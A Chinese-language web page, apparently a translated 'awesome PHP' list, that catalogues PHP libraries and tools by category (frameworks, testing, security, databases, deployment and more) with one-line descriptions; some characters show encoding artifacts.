整合營銷服務(wù)商

          電腦端+手機(jī)端+微信端=數(shù)據(jù)同步管理

          免費(fèi)咨詢熱線:

          PHP 資源列表大全

          PHP 資源列表大全

          習(xí)PHP的都想剖開框架了解下底層原理,一個PHP資源列表,內(nèi)容包括:庫、框架、模板、安全、代碼分析、日志、第三方庫、配置工具、Web 工具、書籍、電子書、經(jīng)典博文等等。

          依賴管理 Dependency Management

          依賴和包管理庫

          • Composer/Packagist - 一個包和依賴管理器

          • Composer Installers - 一個多框架Composer庫安裝器

          • Pickle - 一個PHP擴(kuò)展安裝器

          • Melody - 一個用于構(gòu)建Composer腳本文件的工具

          • Climb - 一個Composer版本管理工具


          其他的依賴管理 Dependency Management Extras

          其他的相關(guān)依賴管理

          • Satis - 一個靜態(tài)Composer存儲庫的生成器

          • Toran Proxy - 一個靜態(tài)Composer存儲庫和代理

          • Composition - 一個在運(yùn)行時檢查Composer環(huán)境的庫

          • NameSpacer - 一個轉(zhuǎn)化下劃線到命名空間的庫

          • Patch Installer - 一個使用Composer安裝補(bǔ)丁的庫

          • Composer Checker - 一個校驗(yàn)Composer配置的工具

          • Prestissimo - 一個開啟并行安裝進(jìn)程的Composer插件

          • Composer Merge Plugin - 一個用于合并多個composer.json文件的Composer插件

          框架 Frameworks

          Web開發(fā)框架

          • Symfony 2 - 一個獨(dú)立組件組成的框架 (SF2)

          • Zend Framework 2 - 另一個由獨(dú)立組件組成的框架 (ZF2)

          • Laravel 5 - 另一個PHP框架 (L5)

          • Aura PHP - 一個獨(dú)立的組件框架

          • Yii2 - 另一個PHP框架

          • Nette - 另一個由個體組件組成的框架

          • PPI Framework 2 - 一個互操作性框架

          • CakePHP - 一個快速應(yīng)用程序開發(fā)框架 (CP)

          • Phalcon - 通過C擴(kuò)展實(shí)現(xiàn)的框架


          其他框架 Framework Extras

          其他Web開發(fā)框架

          • Symfony CMF - 一個創(chuàng)建自定義CMS的內(nèi)容管理框架

          • Knp RAD Bundle - Symfony 2的快速應(yīng)用程序(RAD)包

          • CakePHP CRUD - CakePHP的快速應(yīng)用程序(RAD)插件


          框架組件 Components

          來自web開發(fā)框架的獨(dú)立組件

          • Symfony2 Components - Symfony 2組件

          • Zend Framework 2 Components - Zend Framework 2組件

          • Aura Components - PHP5.4組件包

          • CakePHP Plugins - CakePHP插件的目錄

          • Hoa Project - 另一個PHP組件包

          • League of Extraordinary Packages - 一個PHP軟件開發(fā)組


          框架配置 Configuration

          加載配置文件的庫

          • Zend-config - Zend框架的配置組件


          微型框架 Micro Frameworks

          微型框架和路由

          • Silex - 基于Symfony2組件的微型框架

          • Slim - 另一個簡單的微型框架

          • Bullet PHP - 用于構(gòu)建REST APIs的微型框架

          • Lumen - 一個Laravel的微型框架

          • Proton - 一個StackPHP兼容的微型框架


          其他微型框架 Micro Framework Extras

          其他相關(guān)的微型框架和路由

          • Silex Skeleton - Silex的項(xiàng)目架構(gòu)

          • Silex Web Profiler - 一個Silex web的調(diào)試工具

          • Slim Skeleton - Slim架構(gòu)

          • Slim View - Slim自定義視圖的集合


          路由 Routers

          處理應(yīng)用路由的庫

          • Fast Route - 一個快速路由的庫

          • Route - 一個基于Fast Route的路由的庫

          • Pux - 另一個快速路由的庫

          • Klein - 一個靈活的路由的庫.


          模板 Templating

          模板化和詞法分析的庫和工具

          • Twig - 一個全面的模板語言

          • Twig Cache Extension - 一個用于Twig的模板片段緩存庫

          • Mustache - 一個Mustache模板語言的PHP實(shí)現(xiàn)

          • Phly Mustache - 另一個Mustache模板語言的PHP實(shí)現(xiàn)

          • MtHaml - 一個HAML模板語言的PHP實(shí)現(xiàn)

          • PHPTAL - 一個TAL模板語言的PHP實(shí)現(xiàn)

          • Plates - 一個原生PHP模板庫

          • Lex - 一個輕量級模板解析器


          靜態(tài)站點(diǎn)生成器 Static Site Generators

          用來生成web頁面的預(yù)處理內(nèi)容的工具

          • Sculpin - 轉(zhuǎn)換Markdown和Twig為靜態(tài)HTML的工具

          • Phrozn - 另一個轉(zhuǎn)換Textile,Markdown和Twig為HTML的工具

          • Spress - 一個能夠?qū)arkdown和Twig轉(zhuǎn)化為HTML的可擴(kuò)展工具

          • Couscous - 一個將Markdown轉(zhuǎn)化為漂亮的網(wǎng)站的工具


          HTTP

          用于HTTP和網(wǎng)站爬取的庫

          • Guzzle - 一個全面的HTTP客戶端

          • Buzz - 另一個HTTP客戶端

          • Requests - 一個簡單的HTTP庫

          • HTTPFul - 一個鏈?zhǔn)紿TTP庫

          • Goutte - 一個簡單的web爬取器

          • PHP VCR - 一個錄制和重放HTTP請求的庫


          中間件 Middlewares

          使用中間件構(gòu)建應(yīng)用程序的庫

          • Stack - 一個用于Silex/Symfony的可堆疊的中間件的庫

          • Slim Middleware - 一個用于Slim的自定義的中間件的集合

          • Conduit - Sencha Connect連接到PHP的一個端口.


          URL

          解析URL的庫

          • Purl - 一個URL處理庫

          • Uri - 另一個URL處理庫

          • PHP Domain Parser - 一個本地前綴解析庫


          Email

          發(fā)送和解析郵件的庫

          • SwiftMailer - 一個郵件解決方案

          • PHPMailer - 另一個郵件解決方案

          • Fetch - 一個IMAP庫

          • Email Reply Parser - 一個郵件回復(fù)解析的庫

          • Stampie - 一個郵件服務(wù)庫,類似于SendGrid,PostMark,MailGun和Mandrill.

          • CssToInlineStyles - 一個在郵件模板中的內(nèi)聯(lián)CSS庫

          • Email Validator - 一個較小的電子郵件驗(yàn)證庫

          • Mautic - 郵件營銷自動化


          文件 Files

          文件處理和MIME類型檢測的庫

          • Gaufrette - 一個文件系統(tǒng)抽象層

          • Flysystem - 另一個文件系統(tǒng)抽象層

          • Canal - 一個檢測互聯(lián)網(wǎng)媒體類型的庫

          • Apache MIME Types - 一個解析Apache MIME類型的庫

          • Ferret - 一個MIME檢測庫

          • Hoa Mime - 另一個MIME檢測庫

          • Lurker - 一個資源跟蹤庫

          • PHP FFmpeg - 一個用于FFmpeg視頻包裝的庫

          • CSV - 一個CSV數(shù)據(jù)處理庫


          流 Streams

          處理流的庫

          • Streamer - 一個簡單的面向?qū)ο蟮牧靼b庫


          依賴注入 Dependency Injection

          實(shí)現(xiàn)依賴注入設(shè)計模式的庫

          • Pimple - 一個小的依賴注入容器

          • Auryn - 一個遞歸的依賴注入容器

          • Container - 另一個可伸縮的依賴注入容器

          • PHP-DI - 一個支持自動裝配和PHP配置的依賴注入容器

          • Acclimate - 一個依賴注入容器和服務(wù)定位的通用接口

          • Symfony DI - 一個依賴注入容器組件 (SF2)


          圖像 Imagery

          處理圖像的庫

          • Imagine - 一個圖像處理庫

          • PHP Image Workshop - 另一個圖像處理庫

          • Intervention Image - 另一個圖像處理庫

          • GIF Frame Extractor - 一個提取GIF動畫幀信息的庫

          • GIF Creator - 一個通過多張圖片創(chuàng)建GIF動畫的庫

          • Image With Text - 一個在圖像中嵌入文本的庫

          • Color Extractor - 一個從圖像中提取顏色的庫

          • Glide - 一個按需處理圖像的庫

          • Image Optimizer - 一個優(yōu)化圖像的庫

          • Image Hash - 一個用于生成圖像哈希感知的庫


          測試 Testing

          測試代碼和生成測試數(shù)據(jù)的庫

          • PHPUnit - 一個單元測試框架

          • DBUnit - 一個PHPUnit的數(shù)據(jù)庫測試庫

          • ParaTest - 一個PHPUnit的并行測試庫

          • PHPSpec - 一個基于功能點(diǎn)設(shè)計的單元測試庫

          • Codeception - 一個全棧測試框架

          • AspectMock - 一個PHPUnit/Codeception的模擬框架。

          • Atoum - 一個簡單的測試庫

          • Mockery - 一個用于測試的模擬對象的庫

          • Phake - 另一個用于測試的模擬對象的庫

          • Prophecy - 一個可選度很高的模擬框架

          • Faker - 一個偽數(shù)據(jù)生成庫

          • Samsui - 另一個偽數(shù)據(jù)生成庫

          • Alice - 富有表現(xiàn)力的一代庫

          • Behat - 一個行為驅(qū)動開發(fā)(BDD)測試框架

          • Pho - 另一個行為驅(qū)動開發(fā)測試框架

          • Mink - Web驗(yàn)收測試

          • HTTP Mock - 一個在單元測試模擬HTTP請求的庫

          • VFS Stream - 一個用于測試的虛擬文件系統(tǒng)流的包裝器

          • VFS - 另一個用于測試虛擬的文件系統(tǒng)

          • Locust - 一個用Python編寫的現(xiàn)代加載測試庫

          • Peridot - 一個事件驅(qū)動開發(fā)的測試框架

          • Kahlan - 全棧Unit/BDD測試框架,內(nèi)置stub,mock和代碼覆蓋率的支持


          持續(xù)集成 Continuous Integration

          持續(xù)集成的庫和應(yīng)用

          • Travis CI - 一個持續(xù)集成平臺

          • SemaphoreCI - 一個開放源碼和私人項(xiàng)目的持續(xù)集成平臺

          • PHPCI - 一個PHP的開源的持續(xù)集成平臺

          • Sismo - 一個持續(xù)測試的服務(wù)庫

          • Jenkins - 一個PHP支持的持續(xù)集成平臺

          • JoliCi - 一個用PHP編寫的由Docker支持的持續(xù)集成的客戶端


          文檔 Documentation

          生成項(xiàng)目文檔的庫

          • Sami - 一個API文檔生成器

          • APIGen - 另一個API文檔生成器

          • PHP Documentor 2 - 一個API文檔生成器

          • phpDox - 一個PHP項(xiàng)目的文檔生成器(不限于API文檔)

          • daux.io - 一個使用Markdown文件的文檔生成器


          安全 Security

          生成安全的隨機(jī)數(shù),加密數(shù)據(jù),掃描漏洞的庫

          • HTML Purifier - 一個兼容標(biāo)準(zhǔn)的HTML過濾器

          • RandomLib - 一個生成隨機(jī)數(shù)和字符串的庫

          • True Random - 使用www.random.org生成隨機(jī)數(shù)的庫

          • SecurityMultiTool - 一個PHP安全庫

          • PHPSecLib - 一個純PHP安全通信庫

          • TCrypto - 一個簡單的鍵值加密存儲庫

          • PHP IDS - 一個結(jié)構(gòu)化的PHP安全層

          • PHP SSH - 一個試驗(yàn)的面向?qū)ο蟮腟SH包裝庫

          • IniScan - 一個掃描PHP INI文件安全的庫

          • SensioLabs Security Check - 一個為檢查Composer依賴提供安全建議的web工具

          • Zed - 一個集成的web應(yīng)用滲透測試工具

          • VAddy - 一個持續(xù)安全的web應(yīng)用測試平臺

          • Optimus - 基于Knuth乘法散列方法的身份混淆工具


          密碼 Passwords

          處理和存儲密碼的庫和工具

          • Password Compat - 一個新的PHP5.5密碼函數(shù)的兼容庫

          • phpass - 一個便攜式的密碼哈??蚣?/span>

          • PHP Password Lib - 一個生成和校驗(yàn)密碼的庫

          • Password Policy - 一個PHP和JavaScript的密碼策略庫

          • Password Validator - 一個校驗(yàn)和升級密碼哈希的庫

          • Zxcvbn PHP - 一個基于Zxcvbn JS的現(xiàn)實(shí)的PHP密碼強(qiáng)度估計庫

          • GenPhrase - 一個隨機(jī)生成安全密碼哈希的庫


          代碼分析 Code Analysis

          分析,解析和處理代碼庫的庫和工具

          • PHP Parser - 一個PHP編寫的PHP解析器

          • PHPPHP - 一個PHP實(shí)現(xiàn)的PHP虛擬機(jī)

          • PHPSandbox - 一個PHP沙盒環(huán)境

          • Dissect - 一個詞法和語法分析的工具集合

          • PHP Mess Detector - 一個掃描代碼缺陷,次優(yōu)代碼,未使用的參數(shù)等等的庫。

          • PHP Code Sniffer - 一個檢測PHP、CSS和JS代碼標(biāo)準(zhǔn)沖突的庫

          • PHPCPD - 一個檢測復(fù)制和粘貼代碼的庫

          • PHP Analyser - 一個分析PHP代碼查找缺陷和錯誤的庫

          • PHP CS Fixer - 一個編碼標(biāo)準(zhǔn)庫

          • PHP Manipulator - 一個分析和修改PHP源代碼的庫

          • PHP Metrics - 一個靜態(tài)測量庫

          • PHP Refactoring Browser - 一個重構(gòu)PHP代碼的命令行工具集

          • PHP Semantic Versioning Checker - 一個比較兩個源集和確定適當(dāng)?shù)膽?yīng)用語義版本的命令行實(shí)用程序

          • UBench - 一個簡單的微型基準(zhǔn)檢測庫

          • Athletic - 一個基于注釋的基準(zhǔn)檢測庫

          • Mondrian - 使用圖論的代碼分析工具

          • Scrutinizer - 一個審查PHP代碼的web工具

          • PHPLOC - 一個快速測量PHP項(xiàng)目大小的工具

          • PHPCheckstyle - 一個幫助遵守特定的編碼慣例的工具

          • PhpDependencyAnalysis - 一個創(chuàng)建可定制依賴圖的工具

          • Code Climate - 一個自動代碼審查工具


          Architectural

          相關(guān)的設(shè)計模式庫,組織代碼編程的方法和途徑

          • PHP Option - 一個可選的類型庫

          • Ruler - 一個簡單的無狀態(tài)的生產(chǎn)環(huán)境規(guī)則引擎

          • Finite - 一個簡單的PHP有限狀態(tài)機(jī)

          • Compose - 一個功能組合庫

          • Monad PHP - 一個簡單Monad庫

          • Patchwork - 一個重新定義用戶的函數(shù)庫

          • Galapagos - 語言轉(zhuǎn)換進(jìn)化

          • Design Patterns PHP - 一個使用PHP實(shí)現(xiàn)的設(shè)計模式存儲庫

          • Functional PHP - 一個函數(shù)式編程庫

          • Iter - 一個使用生成器提供迭代原語的庫

          • Pipeline - 一個管道模式的實(shí)現(xiàn)


          調(diào)試和分析 Debugging and Profiling

          調(diào)試和分析代碼的庫和工具

          • xDebug - 一個調(diào)試和分析PHP的工具

          • PHP Debug Bar - 一個調(diào)試工具欄

          • PHP Console - 一個web調(diào)試控制臺

          • Barbushin PHP Console - 另一個使用Google Chrome的web調(diào)試控制臺

          • PHPDBG - 一個交互的PHP調(diào)試器

          • Tracy - A一個簡單的錯誤檢測,寫日志和時間測量庫

          • Z-Ray - 一個調(diào)試和配置Zend服務(wù)器的工具

          • xHprof - 另一個PHP分析工具

          • Blackfire.io - 一個低開銷的代碼分析器

          • Kint - 一個調(diào)試和分析工具

          • PHPBench - 一個基準(zhǔn)測試框架


          構(gòu)建工具 Build Tools

          項(xiàng)目構(gòu)建和自動化工具

          • Bob - 一個簡單的項(xiàng)目自動化工具

          • Phake - 一個PHP克隆庫

          • Box - 一個構(gòu)建PHAR文件的工具

          • Phing - 一個靈感來自于Apache Ant的PHP項(xiàng)目構(gòu)建系統(tǒng)

          任務(wù)運(yùn)行器 Task Runners

          自動運(yùn)行任務(wù)的庫

          • Task - 一個靈感來源于Grunt和Gulp的純PHP任務(wù)運(yùn)行器

          • Robo - 一個面向?qū)ο笈渲玫腜HP任務(wù)運(yùn)行器

          • Bldr - 一個構(gòu)建在Symfony組件上的PHP任務(wù)運(yùn)行器


          導(dǎo)航 Navigation

          構(gòu)建導(dǎo)航結(jié)構(gòu)的工具

          • KnpMenu - 一個菜單庫

          • Cartographer - 一個站點(diǎn)地圖生成庫


          資源管理 Asset Management

          管理,壓縮和最小化web站點(diǎn)資源的工具

          • Assetic - 一個資源管理的管道庫

          • Pipe - 另一個資源管理的管道庫

          • Munee - 一個資源優(yōu)化庫

          • JShrink - 一個JavaScript的最小化庫

          • Puli - 一個檢測資源絕對路徑的庫


          地理位置 Geolocation

          地理編碼地址和使用緯度經(jīng)度的庫

          • GeoCoder - 一個地理編碼庫

          • GeoTools - 一個地理工具相關(guān)的庫

          • PHPGeo - 一個簡單的地理庫

          • GeoJSON - 一個GeoJSON的實(shí)現(xiàn)


          日期和時間 Date and Time

          處理日期和時間的庫

          • Carbon - 一個簡單的日期時間API擴(kuò)展

          • ExpressiveDate - 另一個日期時間API擴(kuò)展

          • CalendR - 一個日歷管理庫


          事件 Event

          時間驅(qū)動或?qū)崿F(xiàn)非阻塞事件循環(huán)的庫

          • React - 一個事件驅(qū)動的非阻塞I/O庫.

          • Rx.PHP - 一個reactive擴(kuò)展庫

          • Ratchet - 一個web socket庫

          • Hoa WebSocket - 另一個web socket庫

          • Hoa EventSource - 一個事件源庫

          • Evenement - 一個事件調(diào)度的庫

          • Event - 一個專注于域名事件的庫

          • Cake Event - 一個事件調(diào)度的庫 (CP)

          • Broadway - 一個事件源和CQRS(命令查詢責(zé)任分離)庫


          日志 Logging

          生成和處理日志文件的庫

          • Monolog - 一個全面的日志工具

          • KLogger - 一個易用的兼容PSR-3的日志類

          • Analog - 一個基于閉包的微型日志包


          電子商務(wù) E-commerce

          處理支付和構(gòu)建在線電子商務(wù)商店的庫和應(yīng)用

          • OmniPay - 一個框架混合了多網(wǎng)關(guān)支付處理的庫

          • Payum - 一個支付抽象庫

          • Sylius - 一個開源的電子商務(wù)解決方案

          • Thelia - 另一個開源的電子商務(wù)解決方案

          • Money - 一個Fowler金錢模式的PHP實(shí)現(xiàn)

          • Sebastian Money - 另一個處理貨幣值的庫

          • Swap - 一個匯率庫


          PDF

          處理PDF文件的庫和軟件

          • Snappy - 一個PDF和圖像生成器庫

          • WKHTMLToPDF - 一個將HTML轉(zhuǎn)換為PDF的工具

          • PHPPdf - 一個將XML文件轉(zhuǎn)換為PDF和圖片的庫

          • Dompdf - 一個將HTML轉(zhuǎn)換為PDF的工具


          Office

          Libraries for working with office suite documents.

          • PHPWord - 一個處理Word文檔的庫

          • PHPExcel - 一個處理Excel文檔的庫

          • PHPPowerPoint - 一個處理PPT文檔的庫

          • ExcelAnt - 一個操作Excel文檔的庫


          數(shù)據(jù)庫 Database

          使用對象關(guān)系映射(ORM)或數(shù)據(jù)映射技術(shù)的數(shù)據(jù)庫交互的庫

          • Doctrine - 一個全面的DBAL和ORM

          • Doctrine Extensions - 一個Doctrine行為擴(kuò)展的集合

          • Propel - 一個快速的ORM,遷移庫和查詢構(gòu)架器

          • Eloquent - 一個簡單的ORM(L5)

          • LazyRecord - 一個簡單、可擴(kuò)展、高性能的ORM

          • Baum - 一個Eloquent的嵌套集實(shí)現(xiàn)

          • Spot2 - 一個MySQL的ORM映射器

          • RedBean - 一個輕量級,低配置的ORM

          • Pomm - 一個PostgreSQL對象模型管理器

          • ProxyManager - 一個為數(shù)據(jù)映射生成代理對象的工具集

          • Cake ORM - 對象關(guān)系映射工具,利用DataMapper模式實(shí)現(xiàn) (CP)


          遷移 Migrations

          幫助管理數(shù)據(jù)庫模式和遷移的庫

          • PHPMig - 另一個遷移管理庫

          • Phinx - 另一個數(shù)據(jù)庫遷移的管理庫

          • Migrations - 一個遷移管理庫

          • Doctrine Migrations - 一個Doctrine的遷移庫

          • Ruckusing - 基于PHP下ActiveRecord的數(shù)據(jù)庫遷移,支持MySQL, Postgres, SQLite


          NoSQL

          處理NoSQL后端的庫

          • MongoQB - 一個MongoDB查詢構(gòu)建庫

          • Monga - 一個MongoDB抽象庫

          • Predis - 一個功能完整的Redis庫


          隊列 Queue

          處理事件和任務(wù)隊列的庫

          • Pheanstalk - 一個Beanstalkd客戶端庫

          • PHP AMQP - 一個純PHP AMQP庫

          • Thumper - 一個RabbitMQ模式庫

          • Bernard - 一個多后端抽象庫


          搜索 Search

          在數(shù)據(jù)上索引和執(zhí)行查詢的庫和軟件

          • ElasticSearch PHP - ElasticSearch的官方客戶端庫

          • Elastica - ElasticSearch的客戶端庫

          • Solarium - Solr的客戶端庫

          • SphinxQL query builder - Sphinx搜索引擎的的查詢庫


          命令行 Command Line

          關(guān)于命令行工具的庫

          • Boris - 一個微型PHP REPL

          • PsySH - 另一個PHP REPL

          • Pecan - 一個事件驅(qū)動和非阻塞的shell

          • GetOpt - 一個命令行選擇解析器

          • OptParse - 另一個命令行選擇解析器

          • Commando - 另一個簡單的命令行選擇解析器

          • GetOptionKit - 另一個命令行選擇解析器

          • Cron Expression - 一個計算cron運(yùn)行日期的庫

          • ShellWrap - -一個簡單的命令行包裝庫

          • Hoa Console - 另一個命令行庫

          • Shunt - 一個在多臺遠(yuǎn)程機(jī)器上并行運(yùn)行命令行的庫

          • Cilex - 一個構(gòu)建命令行工具的微型框架

          • CLImate - 一個輸出帶顏色的和特殊格式的命令行庫

          • CLI Menu - 一個構(gòu)建CLI菜單的庫

          • CLIFramework - 一個支持完全zsh/bash、子命令和選項(xiàng)約束的命令行框架,這也歸功于phpbrew


          身份驗(yàn)證和授權(quán) Authentication and Authorization

          實(shí)現(xiàn)身份驗(yàn)證和授權(quán)的庫

          • Sentinel - 一個混合的身份驗(yàn)證和授權(quán)的框架庫

          • Sentinel Social - 一個社交網(wǎng)絡(luò)身份驗(yàn)證庫

          • Opauth - 一個多渠道的身份驗(yàn)證框架

          • OAuth2 Server - 一個OAuth2身份驗(yàn)證服務(wù),資源服務(wù)器和客戶端庫

          • OAuth2 Server - 另一個OAuth2服務(wù)器實(shí)現(xiàn)

          • PHP oAuthLib - 另一個OAuth庫

          • TwitterOAuth - 一個Twitter OAuth庫

          • TwitterSDK - 一個完全測試的Twitter SDK

          • Hawk - 一個Hawk HTTP身份認(rèn)證庫

          • HybridAuth - 一個開源的社交登陸庫

          • Lock - 一種實(shí)現(xiàn)訪問控制列表(ACL)系統(tǒng)的庫

          • OAuth 1.0 Client - 一個OAuth 1.0客戶端的庫

          • OAuth 2.0 Client - 一個OAuth 2.0客戶端的庫


          標(biāo)記 Markup

          處理標(biāo)記的庫

          • Decoda - 一個輕量級標(biāo)記解析庫

          • PHP Markdown - 一個Markdown解析器

          • CommonMark PHP - 一個對CommonMark spec全支持的Markdown解析器

          • Parsedown - 另一個Markdown解析器

          • Ciconia - 另一個支持Github Markdown風(fēng)格的Markdown解析器

          • Cebe Markdown - 一個快速的可擴(kuò)展的Markdown解析器

          • HTML to Markdown - 將HTML轉(zhuǎn)化為Markdown

          • HTML5 PHP - 一個HTML5解析和序列化庫

          • Emoji - 一個把Unicode字符和名稱轉(zhuǎn)換為表情符號圖片的庫


          字符串 Strings

          解析和處理字符串的庫

          • ANSI to HTML5 - 一個將ANSI轉(zhuǎn)化為HTML5的庫

          • Patchwork UTF-8 - 一個處理UTF-8字符串的便攜庫

          • Hoa String - 另一個UTF-8字符串庫

          • Stringy - 一個多字節(jié)支持的字符串處理庫

          • Color Jizz - 處理和轉(zhuǎn)換顏色的庫

          • UUID - 生成UUIDs的庫

          • Slugify - 轉(zhuǎn)換字符串到slug的庫

          • URLify - 一個Django中URLify.js的PHP版本

          • Text - 一個文本處理庫

          • SQL Formatter - 一個格式化SQL語句的庫

          • UA Parser - 一個解析user agent字符串的庫

          • Device Detector - 另一個解析user agent字符串的庫

          • Mobile-Detect - 一個用于檢測移動設(shè)備的輕量級PHP類(包括平板電腦)

          • Agent - 一個基于Mobiledetect的桌面/手機(jī)端user agent解析庫


          數(shù)字 Numbers

          處理數(shù)字的庫

          • Numbers PHP - 一個處理數(shù)字的庫

          • Math - 一個處理巨大數(shù)字的庫

          • ByteUnits - 一個在二進(jìn)制和度量系統(tǒng)中解析,格式化和轉(zhuǎn)換字節(jié)單元的庫

          • PHP Units of Measure - 一個計量單位轉(zhuǎn)換的庫

          • PHP Conversion -另一個計量單位轉(zhuǎn)換的庫

          • LibPhoneNumber for PHP - 一個Google電話號碼處理的PHP實(shí)現(xiàn)庫


          過濾和驗(yàn)證 Filtering and Validation

          過濾和驗(yàn)證數(shù)據(jù)的庫

          • Filterus - 一個簡單的PHP過濾庫

          • Respect Validation - 一個簡單的驗(yàn)證庫

          • Valitron - 另一個驗(yàn)證庫

          • Cake Validation - 另一個驗(yàn)證庫 (CP)

          • Upload - 一個處理文件上傳和驗(yàn)證的庫

          • DMS Filter - 一個注釋過濾庫

          • MetaYaml - 一個支持YAML,JSON和XML的模式驗(yàn)證庫

          • ISO-codes - 一個驗(yàn)證各種ISO和ZIP編碼的庫(IBAN, SWIFT/BIC, BBAN, VAT, SSN, UKNIN)


          API

          開發(fā)REST-ful API的庫和web工具

          • Apigility - 一個使用Zend Framework 2構(gòu)建的API構(gòu)建器

          • Hateoas - 一個HOATEOAS REST web服務(wù)庫

          • HAL - 一個超文本應(yīng)用語言(HAL)構(gòu)建庫

          • Negotiation - 一個內(nèi)容協(xié)商庫

          • Drest - 一個將Doctrine實(shí)體暴露為REST資源節(jié)點(diǎn)的庫

          • Restler - 一個將PHP方法暴露為RESTful web API的輕量級框架

          • wsdl2phpgenerator - 一個從SOAP WSDL文件生成PHP類的工具


          緩存 Caching

          緩存數(shù)據(jù)的庫

          • Alternative PHP Cache (APC) - 打開PHP操作碼緩存

          • Doctrine Cache - 一個緩存庫

          • Zend Cache - 另一個緩存庫 (ZF2)

          • Cake Cache - 一個緩存庫 (CP)

          • Stash - 另一個緩存庫

          • CacheTool - 一個使用命令行清除apc/opcode緩存的工具

          • phpRedisAdmin - 一個用于管理Redis數(shù)據(jù)庫的簡單web界面

          • phpPgAdmin - 一個PostgreSQL的web管理工具

          • phpMyAdmin - 一個MySQL/MariaDB的web界面

          • Adminer - 一個數(shù)據(jù)庫管理工具

          • Grav - 一個現(xiàn)代的flat-file的CMS


          數(shù)據(jù)結(jié)構(gòu)和存儲 Data Structure and Storage

          實(shí)現(xiàn)數(shù)據(jù)結(jié)構(gòu)和存儲技術(shù)的庫

          • Ardent - 一個數(shù)據(jù)結(jié)構(gòu)庫

          • PHP Collections - 一個簡單的集合庫

          • Collections - 一個PHP的集合抽象庫

          • Serializer - 一個序列化和反序列化數(shù)據(jù)的庫

          • Zend Serializer - 另一個序列化和反序列化數(shù)據(jù)的庫 (ZF2)

          • Fractal - 一個轉(zhuǎn)換復(fù)雜數(shù)據(jù)結(jié)構(gòu)到JSON輸出的庫

          • Totem - -一個管理和創(chuàng)建數(shù)據(jù)交換集的庫

          • PINQ - 一個基于.NET實(shí)現(xiàn)的PHP的LINQ(Language Integrated Query)庫

          • YaLinqo - 另一個PHP的LINQ庫

          • Ginq - 另一個基于.NET實(shí)現(xiàn)的PHP的LINQ庫

          • JsonMapper - 一個將內(nèi)嵌JSON結(jié)構(gòu)映射為PHP類的庫

          • Cake Collection - 一個簡單的集合庫 (CP)


          通知 Notifications

          處理通知軟件的庫

          • Nod - 一個通知庫(Growl等)

          • Notificato - 一個處理推送通知的庫

          • Notification Pusher - 一個設(shè)備推送通知的獨(dú)立庫

          • Notificator - 一個輕量級的通知庫


          部署 Deployment

          項(xiàng)目部署庫

          • Pomander - 一個PHP應(yīng)用部署工具

          • Rocketeer - PHP世界里的一個快速簡單的部署器

          • Envoy - 一個用PHP運(yùn)行SSH任務(wù)的工具

          • Plum - 一個部署庫

          • Deployer - 一個部署工具


          國際化和本地化 Internationalisation and Localisation

          國際化(I18n)和本地化(L10n)的庫

          • Aura Intl

          • Cake I18n - 消息國際化和日期和數(shù)字的本地化 (CP)


          第三方API Third Party APIs

          訪問第三方API的庫

          • Amazon Web Service SDK - PHP AWS SDK官方庫

          • S3 Stream Wrapper - Amazon S3流包裝庫

          • Stripe - Stripe官方PHP庫

          • Campaign Monitor - Campaign Monitor官方PHP庫

          • Digital Ocean - Digital Ocean API接口庫

          • Github - 一個Github API交互庫

          • PHP Github API - 另一個Github API交互庫

          • Twitter OAuth - 一個Twitter OAuth工作流交互庫

          • Twitter REST - 一個Twitter REST API交互庫

          • Dropbox SDK - Dropbox SDK官方PHP庫

          • Twilio - Twilio官方PHP REST API

          • Mailgun - Mailgun官方PHP REST API


          擴(kuò)展 Extensions

          幫助構(gòu)建PHP擴(kuò)展的庫

          • Zephir - 用于開發(fā)PHP擴(kuò)展,且介于PHP和C++之間的編譯語言

          • PHP CPP - 一個開發(fā)PHP擴(kuò)展的C++庫


          雜項(xiàng) Miscellaneous

          不在上面分類中的有用庫和工具

          • Spork - 一個處理forking的庫

          • JSON Lint - 一個JSON lint工具

          • JSONPCallbackValidator - 驗(yàn)證JSONP回調(diào)的庫

          • Pagerfanta - 一個分頁庫

          • LiteCQRS - 一個CQRS(命令查詢責(zé)任分離)庫

          • Chief - 一個命令總線庫

          • Sslurp - 一個使得SSL處理減少的庫

          • Metrics - 一個簡單的度量API庫

          • Sabre VObject - 一個解析VCard和iCalendar對象的庫

          • Annotations - 一個注釋庫(Doctrine的一部分)

          • Whoops - 一個不錯的錯誤處理庫

          • LadyBug - 一個dumper庫

          • Symfony VarDumper - 一個dumper庫(SF2)

          • Procrastinator - 一個運(yùn)行耗時任務(wù)的庫

          • SuperClosure - 一個允許閉包序列化的庫

          • Jumper - 一個遠(yuǎn)程服務(wù)執(zhí)行庫

          • Underscore - 一個Undersccore JS庫的PHP實(shí)現(xiàn)

          • PHP PassBook - 一個iOS PassBook PHP庫

          • PHP Expression - 一個PHP表達(dá)式語言

          • RMT - 一個編寫版本和發(fā)布軟件的庫

          • Opengraph - 一個開放圖庫

          • Essence -一個提取web媒體的庫

          • Embera - 一個Oembed消費(fèi)庫

          • Graphviz - 一個圖形庫

          • Flux - 一個正則表達(dá)式構(gòu)建庫

          • PHPCR - 一個Java內(nèi)容存儲庫(JCR)的PHP實(shí)現(xiàn)

          • ClassPreloader - 一個優(yōu)化自動加載的庫

          • PHPStack - 一個PHP編寫的TCP/IP棧概念

          • Nmap - 一個Nmap PHP包裝器

          • Lambda PHP - 一個PHP中的Lambda計算解析器

          • Country List - 所有帶有名稱和ISO 3166-1編碼的國家列表

          • PHP-GPIO - 一個用于Raspberry PI的GPIO pin的庫

          • print_o - 一個對象圖的可視化器

          • Alias - 一個類別名庫

          • Cake Utility - 工具類如Inflector,字符串,哈希,安全和XML (CP)

          • Slimdump - 一個簡單的MySQL dumper工具


          軟件 Software

          創(chuàng)建一個開發(fā)環(huán)境的軟件

          PHP安裝 PHP Installation

          在你的電腦上幫助安裝和管理PHP的工具

          • HomeBrew - 一個OSX包管理器

          • HomeBrew PHP - 一個HomeBrew的PHP通道

          • PHP OSX - 一個OSX下的PHP安裝器

          • PHP Brew - 一個PHP版本管理和安裝器

          • PHP Env - 另一個PHP版本管理器

          • PHP Switch - 另一個PHP版本管理器

          • PHP Build - 另一個PHP版本安裝器

          • VirtPHP - 一個創(chuàng)建和管理獨(dú)立PHP環(huán)境的工具


          開發(fā)環(huán)境 Development Environment

          創(chuàng)建沙盒開發(fā)環(huán)境的軟件和工具

          • Vagrant - 一個便攜的開發(fā)環(huán)境工具

          • Ansible - 一個非常簡單的編制框架

          • Puppet - 一個服務(wù)器自動化框架和應(yīng)用

          • PuPHPet - 一個構(gòu)建PHP開發(fā)虛擬機(jī)的web工具

          • Protobox - 另一個構(gòu)建PHP開發(fā)虛擬機(jī)的web工具

